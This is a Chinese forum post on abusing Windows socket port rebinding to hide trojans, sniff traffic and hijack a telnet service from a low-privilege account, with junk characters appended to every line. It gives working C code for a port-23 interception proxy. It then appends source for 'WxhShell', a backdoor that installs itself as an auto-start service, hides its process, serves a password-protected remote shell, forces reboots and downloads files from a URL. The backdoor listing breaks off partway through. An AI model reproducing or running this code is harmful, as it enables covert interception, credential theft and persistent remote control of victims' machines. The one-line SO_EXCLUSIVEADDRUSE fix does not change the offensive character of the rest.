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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: X^_+%U  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s=%+o& B  
'__3[D  
  saddr.sin_family = AF_INET; M;TfD  
1KIq$lG{ E  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); A@  
w<F;&' ;@h  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @tv];t  
|tJ%:`DGw  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #|_UA}Y  
]XafFr6pe  
  这意味着什么?意味着可以进行如下的攻击: <w2NJ ~M^  
KJJb^6P48W  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 irw 7  
]j$p_s>  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ~q|e];tA  
jhbH6=f4]^  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 )W6- h  
= hX-jP  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  tc2GI6]e'  
a<"& RnG(  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ,p`b Wm  
W#\};P  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 wJR i;fvi  
n@,eZ!  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 9}0Jc(B/x  
4NR5?s  
  #include UpseU8Wo  
  #include L{,7(C=  
  #include lnSE+YJ>  
  #include    y$9 t!cx  
  DWORD WINAPI ClientThread(LPVOID lpParam);   la|l9N^,  
  int main() `/ReJj&~  
  { (0m$W<  
  WORD wVersionRequested; "_@+/Iy.  
  DWORD ret; Wy>\KrA1  
  WSADATA wsaData; :9q^  
  BOOL val; '"\Mjz)/  
  SOCKADDR_IN saddr; (IHBib "  
  SOCKADDR_IN scaddr; 5f@YrTO[@  
  int err; *"sDaN0@R  
  SOCKET s; 'p+QFT>Ca  
  SOCKET sc; f> [;|r@K  
  int caddsize; Y'*h_K  
  HANDLE mt; |/\1nWD  
  DWORD tid;   YgOgYo{E!  
  wVersionRequested = MAKEWORD( 2, 2 ); 5MU@g*gj,C  
  err = WSAStartup( wVersionRequested, &wsaData ); 9sU,.T  
  if ( err != 0 ) { [z@RgDX v  
  printf("error!WSAStartup failed!\n"); H1i4_T  
  return -1; 2czL 1Ci  
  } C)}LV  
  saddr.sin_family = AF_INET; >.~k?_Of  
   J uKaRR~  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 t1g%o5?;  
#N}}8RL  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); \ jdO,-(  
  saddr.sin_port = htons(23); vz5 RS  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) vGp@YABM  
  { <{Wa[1D  
  printf("error!socket failed!\n"); $:Z xb  
  return -1; ]r5Xp#q2  
  } yE{UV>ry  
  val = TRUE; Nx z ,/d  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 -z1o~~  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) {z ~ '  
  { -W vAmi  
  printf("error!setsockopt failed!\n"); NKYyMHv6  
  return -1; ` XY[ HK  
  } r${a S@F  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; uS.a9 Q(  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 i/B"d,=<  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 K?WqAVK  
N`fY%"5U>  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) kp"cHJNx  
  { Id1[}B-T  
  ret=GetLastError(); 5J3kQ;5Q?  
  printf("error!bind failed!\n"); _~"3 LB  
  return -1; !{\c`Z<#  
  } jL>r*=K)%  
  listen(s,2); ,oe4*b}O=.  
  while(1) 2YQ$hL~  
  { 6, ~aV  
  caddsize = sizeof(scaddr); n_hD  
  //接受连接请求 )qe o`4+y  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); g`8|jg0]`I  
  if(sc!=INVALID_SOCKET) X_2I4Jz]6  
  { huE#VY /t  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Rwk|cqr  
  if(mt==NULL) o,I642R~  
  { #^Y-*vf2  
  printf("Thread Creat Failed!\n"); l71\II  
  break; LA5rr}<K  
  } !h\3cs`QU  
  } kPe9G  
  CloseHandle(mt); Zup?nP2GkT  
  } b%F*Nr  
  closesocket(s); 5+J/Qm8{bb  
  WSACleanup(); C+j+q648>  
  return 0; `)fGw7J {  
  }   +Oa1FvoEA  
  DWORD WINAPI ClientThread(LPVOID lpParam) ~ln,Cm} 4  
  {  $?YkgK  
  SOCKET ss = (SOCKET)lpParam; B~IOM  
  SOCKET sc; q ^?{6}sy  
  unsigned char buf[4096]; M 5h U.3.L  
  SOCKADDR_IN saddr; 9S^-qQH3}  
  long num; VTdZ&%@  
  DWORD val; as8<c4:v  
  DWORD ret; 7E'C o|  
  //如果是隐藏端口应用的话,可以在此处加一些判断 O%I'   
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   o2L/8q.  
  saddr.sin_family = AF_INET; 5+r#]^eQY-  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0IK']C  
  saddr.sin_port = htons(23); 6Jm4?ex  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,LvJ'N  
  { WJ@,f%=<~  
  printf("error!socket failed!\n"); 2iu;7/  
  return -1; ^]kDYhe*Y  
  } | v+b?@  
  val = 100; 0=04:.%D  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %K%z<R8  
  { G2rvi=8=  
  ret = GetLastError(); C`ok{SNtUy  
  return -1; 7@`(DU`z  
  } ~(c<ioIf  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *KM CU m  
  { 83h6>D b  
  ret = GetLastError(); #q-t!C%E  
  return -1; &lD4-_2J  
  } G100L}d"N  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) {974m` 5  
  { 1\BECP+  
  printf("error!socket connect failed!\n"); uZNR]+Yu@  
  closesocket(sc); /{lls2ycW%  
  closesocket(ss); QeK~A@|F&  
  return -1; y ^YrGz.  
  } kmf4ax h1  
  while(1) %n( s;/_  
  { c;Li~FLR  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?#W>^Za=  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 X(8 ]9  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 #2}S83 k  
  num = recv(ss,buf,4096,0); |YH1q1l  
  if(num>0) )2a!EEHz  
  send(sc,buf,num,0); QF>H>=Za=  
  else if(num==0) d{0>R{uac  
  break; |(wx6H:  
  num = recv(sc,buf,4096,0); 7Kn=[2J5k'  
  if(num>0) % R'eV<  
  send(ss,buf,num,0); 1vobfZ-w9  
  else if(num==0) #pf}q+A  
  break; .AKx8=f  
  } Z*JZ Ubo-Q  
  closesocket(ss); xH92=t-w  
  closesocket(sc); 3T_-_5[c  
  return 0 ; ?&?y-&.5-  
  } Dgdh3q;  
1j}o. 0\  
TiH(HW|:  
========================================================== xa K:@/  
r!(~Y A  
下边附上一个代码,,WXhSHELL pPh$Jvo]  
BV<LIrAS  
==========================================================  ?9AByg  
aFhsRE?YC=  
#include "stdafx.h" _I2AJn`#  
}=wSfr9g  
#include <stdio.h>  pxP7yJL`  
#include <string.h> 'A4Lr  
#include <windows.h> ~=}56yxl[  
#include <winsock2.h> !Qn:PSk  
#include <winsvc.h> y1P?A]v  
#include <urlmon.h> O9!<L.X,%  
K 5!k06;s  
#pragma comment (lib, "Ws2_32.lib") %uQ^mK  
#pragma comment (lib, "urlmon.lib") )\t#e`3  
eE1w<] Eg  
#define MAX_USER   100 // 最大客户端连接数 ~aBALD0D;  
#define BUF_SOCK   200 // sock buffer G3KiU($V  
#define KEY_BUFF   255 // 输入 buffer ^5xY&1j  
~bg FU  
#define REBOOT     0   // 重启 7kleBDDT  
#define SHUTDOWN   1   // 关机 9erTb?@S  
,VbP$1t  
#define DEF_PORT   5000 // 监听端口 ^8B#-9Ph b  
az7L0pp  
#define REG_LEN     16   // 注册表键长度 bD=_44I  
#define SVC_LEN     80   // NT服务名长度 24]O0K  
h}.0Ne  
// 从dll定义API &EZ28k"x  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); C#;}U51:t  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Zb3E-'G+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :*Sl\:_X)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); RKRk,jRL  
E}yl@8g:#  
// wxhshell配置信息 ) 3Eax_?Z  
struct WSCFG { l =xy_ TCf  
  int ws_port;         // 监听端口 1NA>W   
  char ws_passstr[REG_LEN]; // 口令 t4 $cMf  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^?w6  
  char ws_regname[REG_LEN]; // 注册表键名 cy%^P^M  
  char ws_svcname[REG_LEN]; // 服务名 `nn;E% n  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -k")#1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Q;Xb-\\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 enE8T3   
int ws_downexe;       // 下载执行标记, 1=yes 0=no Vtr 0=-m&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D CFYpkR%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 { +MqXeq  
=l?5!f9  
}; ,\xeNUZd  
67%o83\  
// default Wxhshell configuration P]1`=-  
struct WSCFG wscfg={DEF_PORT, ?HAWw'QW  
    "xuhuanlingzhe", JM@MNS_||(  
    1, -"#;U`.oh7  
    "Wxhshell", z'XFwk  
    "Wxhshell", ){ArZjG>  
            "WxhShell Service", G"3D"7f a  
    "Wrsky Windows CmdShell Service", V1,O7m+F2  
    "Please Input Your Password: ", 9g|o17  
  1, vSX71  
  "http://www.wrsky.com/wxhshell.exe", Ws{2+G~  
  "Wxhshell.exe" pk:YjJs  
    }; /2tgxm$}  
q!t_qX7u  
// 消息定义模块 0_J<=T?\"s  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; H3nx8R$j](  
char *msg_ws_prompt="\n\r? for help\n\r#>"; c>,|[zP{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $i7iv  
char *msg_ws_ext="\n\rExit."; y?zNxk/p  
char *msg_ws_end="\n\rQuit."; L*"Q5NzB]  
char *msg_ws_boot="\n\rReboot..."; ]Wa.k  
char *msg_ws_poff="\n\rShutdown..."; ]SA]{id+  
char *msg_ws_down="\n\rSave to "; C{H:-"\J9  
b<u   
char *msg_ws_err="\n\rErr!"; q$Gf9&ZO  
char *msg_ws_ok="\n\rOK!"; oQ{(7.e7)  
Tky\W%Ag  
char ExeFile[MAX_PATH]; )#%k/4(Y  
int nUser = 0; R/VrBiw  
HANDLE handles[MAX_USER]; .BuXg<`  
int OsIsNt; 1\X1G>60m  
=$`EB  
SERVICE_STATUS       serviceStatus; 8vjaQ5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; eZ'J,;  
c*sK| U7)  
// 函数声明 *G"L]Nq#  
int Install(void); {9S=:  
int Uninstall(void); wi-O}*O   
int DownloadFile(char *sURL, SOCKET wsh); |gxT-ZM  
int Boot(int flag); yj13>"nh  
void HideProc(void); Z/n\Ak sE  
int GetOsVer(void); t2Q40' `  
int Wxhshell(SOCKET wsl); Dl_y[ 9  
void TalkWithClient(void *cs); _BHR ?I[w  
int CmdShell(SOCKET sock); ZJlmHlAX  
int StartFromService(void); bL v_<\:m  
int StartWxhshell(LPSTR lpCmdLine); x%Ivd  
zkHwoAD;t8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5Arx"=c  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;<i`6e  
U{6i5;F#H  
// 数据结构和表定义 ^LO=&Cq  
SERVICE_TABLE_ENTRY DispatchTable[] = F0 x5(lp Q  
{ G9"2h \  
{wscfg.ws_svcname, NTServiceMain}, _?$P?  
{NULL, NULL} X2^`Znq9  
}; qw={gZ  
~Y]*TP  
// 自我安装 YaI8hj@}  
int Install(void) 5:ca6 H  
{ MDI[TNYG  
  char svExeFile[MAX_PATH]; 9,g &EnvG  
  HKEY key; aMI\gCB/  
  strcpy(svExeFile,ExeFile); |a/1mUxQ&  
#Q320}]{  
// 如果是win9x系统,修改注册表设为自启动 gwHNz5 a*V  
if(!OsIsNt) { KFd !wZ @e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vd+yU9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yv2BbrYyy  
  RegCloseKey(key); iF:`rIC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nW?DlECo?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u xif-5  
  RegCloseKey(key); 0=  ]RG  
  return 0; G,,c,  
    } Hp`Mp)1s  
  } Q?]307g7  
} p<%76H A  
else { A#t#c*  
 O+D"7  
// 如果是NT以上系统,安装为系统服务 --Dd'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v}w=I}<x  
if (schSCManager!=0) tu(k"'aJ  
{ %*d(1?\o  
  SC_HANDLE schService = CreateService :i'jQ<|wZN  
  ( zyey5Z:7  
  schSCManager, F=}-ngx8&  
  wscfg.ws_svcname, h|z{ (v  
  wscfg.ws_svcdisp, eq>E<X#<  
  SERVICE_ALL_ACCESS, XHq8p[F  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , X2ShxD|  
  SERVICE_AUTO_START, nFE0y3GD8  
  SERVICE_ERROR_NORMAL, L\p@1N?K  
  svExeFile, ){=2td$=$  
  NULL, 8'c_&\kdv  
  NULL, l+$ e|F  
  NULL, 5|zISK%zHS  
  NULL, >C|/%$kk:f  
  NULL %) -5'l<  
  ); bvM\Qzc!<3  
  if (schService!=0) 3PS( 1  
  { $O|J8;"v  
  CloseServiceHandle(schService); K]q9wR'q  
  CloseServiceHandle(schSCManager); bY6y)l  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); P<@Yux#  
  strcat(svExeFile,wscfg.ws_svcname); ^:0NKq\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { H^s@qh)L  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mUi|vq)`=D  
  RegCloseKey(key); %;,D:Tv=&  
  return 0; 5p&&EA/  
    } kTQ`$V(>&  
  } F*WW v&\X  
  CloseServiceHandle(schSCManager); c9e  }P  
} 7. y L>  
} IQK__)  
>c~~i-=  
return 1; mea]m)P  
} uQ9/7"S  
9.5hQZ  
// 自我卸载 \IQP` JR  
int Uninstall(void) !:3NPjhf1Y  
{ {rr ED  
  HKEY key; k07JMS?  
~I/7{B|yX  
if(!OsIsNt) { 9!V<=0b/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T$%u=$E%F  
  RegDeleteValue(key,wscfg.ws_regname); t]FFGnBZ  
  RegCloseKey(key); URR| Q!D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N|q:wyS|  
  RegDeleteValue(key,wscfg.ws_regname); qd3B>f  
  RegCloseKey(key); zE.4e&m%Z?  
  return 0; {NE;z<,*:  
  } l;Zc[6  
} c#9 zw[y-L  
} >C_! }~  
else { -<&"geJA  
]-{T-*h:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); V0JoUyZ  
if (schSCManager!=0) CNcH)2Mk  
{ %8 cFzyE*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #=t:xEz  
  if (schService!=0) z!Jce}mx  
  { %X GX(  
  if(DeleteService(schService)!=0) { vR1%&(f{  
  CloseServiceHandle(schService); -lSm:O@'  
  CloseServiceHandle(schSCManager); [W{`L_"  
  return 0; .(9IAAwKn  
  } "@` mPe/  
  CloseServiceHandle(schService); tvRa.3  
  } "cJ5Fd:*  
  CloseServiceHandle(schSCManager); 0?,EteR  
} >!WJ{M0  
} 2? !b!  
8KoPaq   
return 1; =~aJ]T}(  
} $/wr?  
m5d;lrk@&/  
// 从指定url下载文件 k7W8$8 v  
int DownloadFile(char *sURL, SOCKET wsh)  m?B@VDZ  
{ SZwfYY!ft0  
  HRESULT hr; c yN_Sg  
char seps[]= "/"; ,sLV6DM  
char *token; RPp_L>&~<  
char *file; .+[[m$J  
char myURL[MAX_PATH]; 6K<vyr40  
char myFILE[MAX_PATH]; i1G}m Yz_  
EKoCm)}d  
strcpy(myURL,sURL); kc "U)>  
  token=strtok(myURL,seps); 6'wP?=  
  while(token!=NULL) $V\xN(Ed  
  { 8@$QN4^u^  
    file=token; Jn:GqO  
  token=strtok(NULL,seps); 9CL&tpqv f  
  } (iS94}-)  
ZGp8$Y>r  
GetCurrentDirectory(MAX_PATH,myFILE); m X2Qf8  
strcat(myFILE, "\\"); cCj}{=U  
strcat(myFILE, file); wL%>  
  send(wsh,myFILE,strlen(myFILE),0); .+M4P i  
send(wsh,"...",3,0); +5T0]!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); iezz[;t  
  if(hr==S_OK) m Y%PG  
return 0; s'K0C8'U  
else EIf~>AI  
return 1; XVI+Y  
Ii,L6c  
} EW YpYMkm  
Ejn19{  
// 系统电源模块 3:76x  
int Boot(int flag) h],_1!0  
{ * DU86JL`  
  HANDLE hToken; \bfNki  
  TOKEN_PRIVILEGES tkp; PY) 74sa  
%40|7 O  
  if(OsIsNt) { 'Z;R!@Dm  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8vchLl#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); FVHEb\Z  
    tkp.PrivilegeCount = 1; V}Oxz04  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; sx|=*j,_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); tn:tM5m  
if(flag==REBOOT) { ek3/`]V:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?HU(0Vgn'  
  return 0; Z(CzU{7c  
} B 6|=kl2C  
else { DQwbr\xy\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ](3=7!!J  
  return 0; (?oK+,v?L  
} i?||R|>;"'  
  } 7)<&,BWc  
  else { _?mu2!X  
if(flag==REBOOT) { 8*6U4R  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) kOeW,:&65  
  return 0; i. 6c;KU  
} $M#G;W5c  
else {  ig jr=e  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "){"{~  
  return 0; Me2%X>;  
} kwWDGA?zFB  
} }-!0d*I  
kp LDK81I  
return 1; 8+^q9rLii  
} f{G ^b&x  
"! m6U#^  
// win9x进程隐藏模块 2w+w'Ag_R  
void HideProc(void) |!,;IoZ  
{ lE'2\kxI?  
KZ>cfv-&a  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0EKi?vP@y7  
  if ( hKernel != NULL ) -LhO </l  
  { fl9`Mgu  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~5q1zr)E  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @j=:V!g2O  
    FreeLibrary(hKernel); P XKEqcQR  
  } kc-=5l  
g1Ed:V]_  
return; n 9PYZxy  
} g]vo."}5E  
u%!/-&?wF  
// 获取操作系统版本 tp*.'p-SI  
int GetOsVer(void) C3)*Mn3%P  
{ z{`K_s%5  
  OSVERSIONINFO winfo; \| &KD  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); k<Qhw)M8  
  GetVersionEx(&winfo); SMoJKr(:w#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ``4e&  
  return 1; WX6}@mS.  
  else 6I2` oag  
  return 0; `,QcOkvbC  
} B>.x@(}V~  
E@,m +  
// 客户端句柄模块 /s*.:cdH  
int Wxhshell(SOCKET wsl) ~I6N6T Z  
{ 'b)qP|  
  SOCKET wsh; aKjP{Z0k$  
  struct sockaddr_in client; cX7 O*5C  
  DWORD myID; MH=7(15R  
(qglD  
  while(nUser<MAX_USER) (Zg'])  
{ !]5}N^X  
  int nSize=sizeof(client); Ps!umV  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); y+3+iT@i  
  if(wsh==INVALID_SOCKET) return 1; 0civXZgj  
vAp<Muj(a  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); HS[($  
if(handles[nUser]==0) :of(wZa3Q  
  closesocket(wsh); ?4A/?Z]ub  
else mG"xo^1_H  
  nUser++; jc!m; U t  
  } Mg #yl\v  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F~q(@.b  
SQ_Je+X  
  return 0; p^CTHk_|  
} GLgf%A`5/_  
e2f+Fv 9  
// 关闭 socket [\AOr`7  
void CloseIt(SOCKET wsh) d]poUN~x  
{ N_I KH)  
closesocket(wsh); 9w$m\nV  
nUser--; Q F)\\ D[  
ExitThread(0); 1W\E`)Z}]  
} gVrQAcJj  
#MKM.T,\t  
// 客户端请求句柄 ;-6-DEL  
void TalkWithClient(void *cs) V(_1q  
{ l%T4:p4e  
[% C,&h5  
  SOCKET wsh=(SOCKET)cs; ,Cb3R|L8  
  char pwd[SVC_LEN]; !R=@Nr>  
  char cmd[KEY_BUFF]; q.c)>=!.  
char chr[1]; xWxc1tT`  
int i,j; TxX=(7V  
t:2v`uk  
  while (nUser < MAX_USER) { flsejj$  
$-iEcxsi  
if(wscfg.ws_passstr) { c-sjYJXKM*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7;s#QqG`I  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %{@Q7  
  //ZeroMemory(pwd,KEY_BUFF); '+`[)w  
      i=0; V)j[`,M:  
  while(i<SVC_LEN) { QO2cTk m  
Jsz!ro  
  // 设置超时 *yu}e)(0  
  fd_set FdRead; UFG_ZoD+  
  struct timeval TimeOut; K#0TD( "  
  FD_ZERO(&FdRead); c.ow4~>  
  FD_SET(wsh,&FdRead); ]:P7}Kpb  
  TimeOut.tv_sec=8; 0zaK&]oY0  
  TimeOut.tv_usec=0; |eqBCZn  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,o& C"sb  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &mwd0%4  
jJy:/!i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :D D<0  
  pwd=chr[0]; KdkA@>L!;  
  if(chr[0]==0xd || chr[0]==0xa) { l~c[}wv  
  pwd=0; mj~:MCC  
  break; &Y{^yb  
  } 2KlQ[z4Ir  
  i++; b 7UJ  
    } g.lTNQm$u  
3JCo!n0   
  // 如果是非法用户,关闭 socket '7Gv_G_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); y&/IJst&aq  
} f7Gn$E|/r;  
!+l'<*8V  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G]^[i6PQs  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oQ$yr^M  
Lc3&\q e  
while(1) { ll:UIxx  
=2Y;)wrF  
  ZeroMemory(cmd,KEY_BUFF); aeqz~z2~8s  
v+c>iI  
      // 自动支持客户端 telnet标准   c}(WniR-"  
  j=0; SN{z)q  
  while(j<KEY_BUFF) { -yqsJGY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6{Wo5O{!\  
  cmd[j]=chr[0]; nm'l}/Ug  
  if(chr[0]==0xa || chr[0]==0xd) { 91-bz^=xO  
  cmd[j]=0; Gp"GTPT{  
  break; Sg#XcTG  
  } v^|U?  
  j++; v4$/LUJZp  
    } "c^!LV  
'&>"`q  
  // 下载文件 @W,jy$U  
  if(strstr(cmd,"http://")) { 7DB_Z /uU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); e`*}?N4d  
  if(DownloadFile(cmd,wsh)) UwN Vvo  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "*g+qll!5d  
  else kY0HP a  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :]3X Ez  
  } KK|w30\f  
  else { 62xOh\(  
I8#2+$Be+@  
    switch(cmd[0]) { 1]xk:u4LA  
  B-I4(w($  
  // 帮助 r6<;bO(  
  case '?': { ,BdObx  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J"gMm@#C4  
    break; %0\@\fC41  
  } _kKG%U.gbK  
  // 安装 uYW4$6S 3  
  case 'i': { U1\EwBK8*T  
    if(Install()) =4TQ*;V:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vG|!d+  
    else :s)cTq|3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :8S;34Y;  
    break; VH7t^fb  
    } w4 yrAj 2  
  // 卸载 Lg4|6.Ez|P  
  case 'r': { KXKT5E$  
    if(Uninstall()) Va!G4_OT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wm@m(ArE=  
    else hs6pp/h>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *%uzLW0  
    break; N^ +q^iW  
    } Mo/R+\u+Y  
  // 显示 wxhshell 所在路径 We6eAP/Z  
  case 'p': { 5(~Lr3v0  
    char svExeFile[MAX_PATH]; hcVu`Bn  
    strcpy(svExeFile,"\n\r"); l8~(bq1  
      strcat(svExeFile,ExeFile); lIyMNw  
        send(wsh,svExeFile,strlen(svExeFile),0); 'VV U-)(8  
    break; -9vNV:c  
    } 2l?^\9&  
  // 重启 }NDl~5  
  case 'b': { !-MY< '  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -k + jMH  
    if(Boot(REBOOT)) <M9NyD`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1$RJzHS  
    else { GZO:lDdA  
    closesocket(wsh); K/9Jx(I,qL  
    ExitThread(0); 75a3hPCZ  
    } Hn >VPz+I  
    break; p2Khfl6-  
    }  Gd A!8  
  // 关机 7:B/ ?E  
